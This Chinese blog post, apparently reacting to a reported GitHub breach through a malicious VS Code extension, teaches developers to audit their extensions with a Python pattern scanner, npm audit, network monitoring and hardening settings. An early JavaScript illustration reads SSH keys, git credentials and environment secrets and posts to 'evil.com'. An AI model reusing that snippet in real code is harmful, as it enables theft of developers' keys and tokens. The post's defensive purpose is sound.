GitHub 3800 仓库泄露:手把手教你审计 VS Code 插件安全

GitHub 3800 仓库泄露:手把手教你审计 VS Code 插件安全

上周 GitHub 官方确认了一件事:一名员工装了个恶意 VS Code 插件,3800 个内部仓库被盗,数据挂到暗网叫价 5 万美元。泄露内容包括 Copilot 源码、Enterprise Server 代码、Red Team 报告。

攻击链很短:恶意插件 → 员工电脑 → Git 凭据 → 内部仓库 → 暗网。

看到这条新闻,我做的第一件事不是转发,而是打开终端查了一下自己装了多少 VS Code 插件:78 个。然后我花了一下午搞清楚这些插件到底有什么权限,写了个脚本批量审计。记录一下过程和发现。

为什么 VS Code 插件权限这么大

VS Code 插件跑在 Node.js 进程里,跟主编辑器共享系统权限。不是"某些"权限,是几乎所有权限:

  • 读写硬盘上任何文件
  • 执行终端命令
  • 访问环境变量(包括各种 API Key)
  • 读取 Git 凭据
  • 发任意网络请求
javascript 复制代码
// 一个插件能做的事,比你想象的多
const vscode = require('vscode');
const fs = require('fs');
const { exec } = require('child_process');
const https = require('https');

// 读取 SSH 私钥
const sshKey = fs.readFileSync(`${process.env.HOME}/.ssh/id_rsa`, 'utf8');

// 读取 Git 凭据
exec('git credential-store get', (err, stdout) => {
    // 拿到 GitHub token
});

// 读取所有环境变量
const envVars = process.env;
// OPENAI_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN... 全在里面

// 把数据发出去
https.request({ hostname: 'evil.com', path: '/collect', method: 'POST' });

注意,这段代码不需要申请任何特殊权限。VS Code 不像手机 App 那样有权限弹窗。插件装上就能跑,跑起来就有完整的 Node.js 能力。

这就是 GitHub 这次被搞的核心原因。不是什么高级 0day 漏洞,就是一个员工装了个看起来正常的插件。

先查一下你装了多少插件

bash 复制代码
# 列出所有已安装插件
code --list-extensions | wc -l

# 看每个插件的详细信息
code --list-extensions --show-versions

我跑出来 78 个。你呢?大概率比你以为的多。

写个脚本批量审计

手动一个个查不现实。我写了个 Python 脚本,扫描本地所有 VS Code 插件,检查高危特征:

python 复制代码
#!/usr/bin/env python3
"""vscode_ext_audit.py - 审计本地 VS Code 插件的安全风险"""

import json
import os
import re
import sys
from pathlib import Path

# VS Code 插件安装目录
EXT_DIR = Path.home() / ".vscode" / "extensions"

# 高危 API 和模式
RISKY_PATTERNS = {
    "child_process": "可以执行任意系统命令",
    "exec(": "可以执行 shell 命令",
    "spawn(": "可以启动子进程",
    "fs.readFile": "可以读取任意文件",
    "fs.writeFile": "可以写入任意文件",
    "process.env": "可以访问环境变量(API Key 等)",
    "http.request": "可以发网络请求",
    "https.request": "可以发网络请求",
    "net.connect": "可以建立 TCP 连接",
    "credential": "可能涉及凭据操作",
    "keytar": "可以访问系统密钥链",
    "electron": "可以访问 Electron API",
}

# activation events 中的高危项
RISKY_ACTIVATIONS = {
    "*": "在 VS Code 启动时就激活(任何时候都在运行)",
    "onStartupFinished": "启动完成后立即激活",
    "onFileSystem": "访问文件系统时激活",
}

def scan_extension(ext_path):
    """扫描单个插件"""
    pkg_file = ext_path / "package.json"
    if not pkg_file.exists():
        return None

    with open(pkg_file, "r", encoding="utf-8") as f:
        try:
            pkg = json.load(f)
        except json.JSONDecodeError:
            return None

    name = pkg.get("displayName", pkg.get("name", ext_path.name))
    publisher = pkg.get("publisher", "unknown")
    version = pkg.get("version", "?")

    risks = []

    # 检查 activation events
    activations = pkg.get("activationEvents", [])
    for event in activations:
        for risky, desc in RISKY_ACTIVATIONS.items():
            if event == risky or event.startswith(risky):
                risks.append(f"[激活] {event}: {desc}")

    # 扫描 JS 文件中的高危调用
    for js_file in ext_path.rglob("*.js"):
        rel = js_file.relative_to(ext_path)
        if str(rel).count("node_modules") > 1:
            continue
        try:
            content = js_file.read_text(encoding="utf-8", errors="ignore")
            for pattern, desc in RISKY_PATTERNS.items():
                if pattern in content:
                    risks.append(f"[代码] {js_file.name} 使用了 {pattern}: {desc}")
        except Exception:
            pass

    # 检查 postinstall 脚本
    scripts = pkg.get("scripts", {})
    if "postinstall" in scripts or "preinstall" in scripts:
        risks.append(f"[安装] 有 install 钩子脚本: {scripts.get('postinstall', scripts.get('preinstall'))}")

    return {
        "name": name,
        "publisher": publisher,
        "version": version,
        "risk_count": len(risks),
        "risks": risks,
    }

def main():
    if not EXT_DIR.exists():
        print(f"插件目录不存在: {EXT_DIR}")
        sys.exit(1)

    extensions = sorted(EXT_DIR.iterdir())
    results = []

    for ext in extensions:
        if not ext.is_dir():
            continue
        result = scan_extension(ext)
        if result:
            results.append(result)

    # 按风险数排序
    results.sort(key=lambda x: x["risk_count"], reverse=True)

    print(f"\n扫描完成: {len(results)} 个插件\n")
    print(f"{'插件名':<35} {'发布者':<20} {'风险项':>6}")
    print("-" * 65)

    high_risk = []
    for r in results:
        flag = "🔴" if r["risk_count"] >= 5 else "🟡" if r["risk_count"] >= 2 else "🟢"
        print(f"{flag} {r['name'][:33]:<33} {r['publisher'][:18]:<18} {r['risk_count']:>6}")
        if r["risk_count"] >= 5:
            high_risk.append(r)

    if high_risk:
        print(f"\n{'='*65}")
        print(f"高危插件详情(风险项 >= 5):")
        print(f"{'='*65}")
        for r in high_risk:
            print(f"\n{r['name']} ({r['publisher']}) v{r['version']}")
            for risk in r["risks"][:10]:
                print(f"  - {risk}")

if __name__ == "__main__":
    main()

这个脚本做三件事:

  1. 读每个插件的 package.json,检查 activation events(特别是 *,意味着一直在后台运行)
  2. 扫描 JS 源码里的高危 API 调用(child_process、fs、网络请求等)
  3. 检查有没有 postinstall 钩子(恶意代码最喜欢藏的地方)

跑一下看看:

bash 复制代码
python3 vscode_ext_audit.py

我在自己机器上跑出来的结果,78 个插件里有 12 个标红(风险项 >= 5)。其中大部分是知名插件------Pylance、GitLens、Remote SSH 这些确实需要高权限。但有 2 个我根本不记得什么时候装的,一个是主题插件但居然调用了 child_process,另一个是个 Markdown 预览工具但在访问 process.env。

这两个被我直接卸了。

用 npm audit 检查插件依赖

插件本身代码没问题不代表安全。依赖里藏恶意代码是更常见的攻击方式。

bash 复制代码
#!/bin/bash
# audit_ext_deps.sh - 检查每个 VS Code 插件的 npm 依赖漏洞

EXT_DIR="$HOME/.vscode/extensions"

echo "开始扫描插件依赖漏洞..."
echo "================================"

vuln_count=0

for ext in "$EXT_DIR"/*/; do
    if [ -f "$ext/package-lock.json" ] || [ -f "$ext/node_modules/.package-lock.json" ]; then
        name=$(basename "$ext")
        result=$(cd "$ext" && npm audit --json 2>/dev/null)
        total=$(echo "$result" | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('metadata',{}).get('vulnerabilities',{}).get('total',0))" 2>/dev/null)

        if [ "$total" != "0" ] && [ -n "$total" ]; then
            high=$(echo "$result" | python3 -c "import json,sys; d=json.load(sys.stdin); v=d.get('metadata',{}).get('vulnerabilities',{}); print(v.get('high',0)+v.get('critical',0))" 2>/dev/null)
            echo "⚠️  $name: $total 个漏洞 (高危: $high)"
            vuln_count=$((vuln_count + 1))
        fi
    fi
done

echo "================================"
echo "扫描完成。$vuln_count 个插件存在依赖漏洞。"

监控插件的实际网络行为

审计代码是静态分析,但恶意插件可能把请求藏得很深。真正要看的是运行时行为------插件到底在跟谁通信。

在 macOS 上,用 nettoplsof 就能监控:

bash 复制代码
# 监控 VS Code 的所有网络连接
# 方法 1: lsof 实时查看
watch -n 2 "lsof -i -P | grep 'Electron\|Code' | grep -v LISTEN"

# 方法 2: 用 tcpdump 抓包(需要 sudo)
sudo tcpdump -i any -n "port not 22 and port not 53" -l \
  | grep --line-buffered "$(pgrep -f 'Visual Studio Code' | head -1)"

Linux 上更方便,直接用 ssstrace

bash 复制代码
# 查看 VS Code 进程的所有 TCP 连接
ss -tnp | grep code

# 用 strace 追踪网络系统调用
strace -f -e trace=network -p $(pgrep -f "code --type=extensionHost") 2>&1 \
  | grep connect

我抓了一小时的包,发现大部分流量都是去 marketplace、telemetry、和 GitHub API 的。但有一个插件在往一个陌生的 CDN 域名发 POST 请求,查了下是个数据收集服务。虽然不一定是恶意的,但一个代码格式化工具为什么要往外发 POST?卸了。

五个马上能做的防御动作

查完之后,做几个配置调整,能挡掉大部分风险。

1. 开启 Workspace Trust

VS Code 1.57 开始支持 Workspace Trust。打开后,未信任的工作区里插件会以受限模式运行:

json 复制代码
// settings.json
{
    "security.workspace.trust.enabled": true,
    "security.workspace.trust.untrustedFiles": "prompt",
    "security.workspace.trust.startupPrompt": "always"
}

2. 禁用不认识的插件

bash 复制代码
# 导出当前插件列表,人工过一遍
code --list-extensions > ~/my_extensions.txt

# 批量禁用可疑插件(改成你自己的列表)
code --disable-extension suspicious.extension.id

3. 限制插件的 Telemetry

json 复制代码
// settings.json
{
    "telemetry.telemetryLevel": "off",
    "extensions.autoCheckUpdates": true,
    "extensions.autoUpdate": false
}

关掉 telemetry 不是防恶意插件,但能减少正常插件往外发的数据量,让你抓包时更容易发现异常流量。autoUpdate 关掉是因为自动更新可能把一个安全的插件更新成被投毒的版本------npm 生态里这种事已经发生过很多次。

4. 定期跑审计脚本

把上面的 Python 脚本丢进 crontab:

bash 复制代码
# 每周一早上跑一次插件审计
0 9 * * 1 python3 ~/scripts/vscode_ext_audit.py > ~/logs/vscode_audit_$(date +\%Y\%m\%d).log 2>&1

5. Git 凭据用 SSH + 短期 Token

这次 GitHub 泄露的核心是 Git 凭据被窃取。如果你还在用 HTTPS + 长期 PAT:

bash 复制代码
# 检查当前 Git 凭据存储方式
git config --global credential.helper

# 如果输出是 store(明文存储),赶紧换
# macOS 用 Keychain
git config --global credential.helper osxkeychain

# Linux 用 cache(内存,重启清除,可设超时)
git config --global credential.helper 'cache --timeout=3600'

# 最好的方案:换 SSH key,不存任何 token
ssh-keygen -t ed25519 -C "your_email@example.com"

写在最后

这次 GitHub 事件的教训很明确:开发工具是新的攻击面。

以前黑客要攻击一家公司,得找服务器漏洞、做钓鱼邮件、搞社工。现在不用了,往 VS Code 插件市场上传一个看起来正常的插件就行。开发者为了效率会装各种工具,而这些工具跑在本地、有完整权限、连接着公司内网和代码仓库。

防御不复杂:定期审计装了什么、跑审计脚本检查高危调用、监控网络流量、用 SSH 代替 HTTPS 凭据。都不需要花钱买安全产品,几个脚本 + 好习惯就够了。

那 78 个插件,我清理完剩 61 个。删掉的 17 个里,有 3 个确实可疑,剩下 14 个是装了但从没用过的。插件这种东西,不用就删,别囤。

相关推荐
虎冯河2 小时前
Nano Banana Pro生图逻辑详解—— 从底层架构到实践指南
架构·aigc
后端小肥肠3 小时前
一人公司如何用 WorkBuddy + Obsidian 搭一套长期记忆系统?
人工智能·aigc·agent
Python私教3 小时前
端侧 AIGC 进 App:HarmonyOS Data Augmentation Kit 实测复盘
华为·aigc·harmonyos
寻道码路3 小时前
LangChain4j Java AI 应用开发实战(二):大模型参数调优实战:Temperature、TopP、MaxTokens 深度解析
java·开发语言·人工智能·aigc
小和尚同志13 小时前
深入使用 skill-creator:结合真实生产级实践
人工智能·aigc
canonical_entropy17 小时前
Attractor Before Harness: AI 大规模开发的方法论
前端·aigc·ai编程
幸福的猪在江湖18 小时前
5 万 Star!OpenSpec 规范驱动开发完全指南:让 AI 按你的规矩写代码
aigc·ai编程·领域驱动设计
常威正在打来福18 小时前
不想让你的网页长得像「AI 做的」?试试这个
人工智能·aigc·ai编程
revio_lab18 小时前
用AI每天复刻一个微信小游戏 · Day 1:打个螺丝
aigc